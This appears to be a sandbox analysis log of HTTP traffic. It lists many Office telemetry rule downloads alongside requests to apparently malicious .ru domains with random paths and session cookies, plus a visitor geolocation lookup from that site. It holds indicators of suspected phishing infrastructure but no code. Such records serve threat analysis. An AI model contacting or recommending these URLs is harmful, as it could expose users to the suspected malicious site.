              Source: global trafficHTTP traffic detected: GET /stx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwxuEsbkhsJTk2mnfFjrC5KgZFdLD9yyO1RhDbBmQ3SGmwJNtEef260 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /vsIkbIJnYDYWAp6qY1eqmmOJVvvWGQfJQf8A4iiaVOzfaO6eBkFRp1BMcm HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZpa2M2UDdQYjliMTRyNFRUZy9aZGc9PSIsInZhbHVlIjoidVVzVlRtNW1EVzVGMHFwUVU1SzNXWVdmRG9TWWlXYUh4cGNlN2hpOTh3RUl3STZnTjF0dnhwaXg2bGxMK3FwUGdCV2V6ZG5JZzRhaWU4c1RGWW8yd1RtRXZJYyt1TzhHbHVlK1VCNzUrV1BSUE1yQithMW85UFVoOGNXc2Ixc2QiLCJtYWMiOiJmYzkxM2ZjNzcwMTlhNmMyM2Q4NGZlZTcwNTY4MTMzMDQyYjM0MzBmNTZmMDAyYTdmNjcwOWQ4YzM2NDE2YWU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBVZXBML3pOdWpteFYwL0JjV3hLZGc9PSIsInZhbHVlIjoiVW1BbTV1QkZEN1RXMDJ3aGppN2E0ckF3dnBmZUwwTG5WL2ZZREpVVkJMekk5MkhFSVB6SVF1enh3YUlMaFVvRnNHTWI4M0NadzlxQ2tLWkFLSks2SFNCSkxzcEk0bUZsamMrcDBocWRHc2RNQ1hpMWJVdWkySDZ5My9yUW9LRzMiLCJtYWMiOiIxNzAzOWM0Yjc2NTk0NzNkODk2NWFhMDU0OTA4ZTQ2ZTNkYWFlMDg5YTZkNzBjMjc2ZGIxMjVjNTg3YjEyZTUzIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /kl4L6GOLUlZagYCbsT3n6wqLN3PPB4LSklCpkdoB6Hfbkn8qxSWHH35Dn219CI55zF4wx220 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZpa2M2UDdQYjliMTRyNFRUZy9aZGc9PSIsInZhbHVlIjoidVVzVlRtNW1EVzVGMHFwUVU1SzNXWVdmRG9TWWlXYUh4cGNlN2hpOTh3RUl3STZnTjF0dnhwaXg2bGxMK3FwUGdCV2V6ZG5JZzRhaWU4c1RGWW8yd1RtRXZJYyt1TzhHbHVlK1VCNzUrV1BSUE1yQithMW85UFVoOGNXc2Ixc2QiLCJtYWMiOiJmYzkxM2ZjNzcwMTlhNmMyM2Q4NGZlZTcwNTY4MTMzMDQyYjM0MzBmNTZmMDAyYTdmNjcwOWQ4YzM2NDE2YWU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBVZXBML3pOdWpteFYwL0JjV3hLZGc9PSIsInZhbHVlIjoiVW1BbTV1QkZEN1RXMDJ3aGppN2E0ckF3dnBmZUwwTG5WL2ZZREpVVkJMekk5MkhFSVB6SVF1enh3YUlMaFVvRnNHTWI4M0NadzlxQ2tLWkFLSks2SFNCSkxzcEk0bUZsamMrcDBocWRHc2RNQ1hpMWJVdWkySDZ5My9yUW9LRzMiLCJtYWMiOiIxNzAzOWM0Yjc2NTk0NzNkODk2NWFhMDU0OTA4ZTQ2ZTNkYWFlMDg5YTZkNzBjMjc2ZGIxMjVjNTg3YjEyZTUzIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://ufw.xcsyiuul.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /aucmqeshizmnbychfhhaatHTbDtOyyynPCNHGTXWHWTLOEDEQUVMECUXDQVHJXTNDUSOMCQQFHZQCrsiNV5enQ8rJq6uB9Iyz3VBwx40 HTTP/1.1Host: nilbeu7n2rgz5vmhnc7ygw6abfjbrgxkznhy7u1q5celdohgvcr5oxg0.xrfwss.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
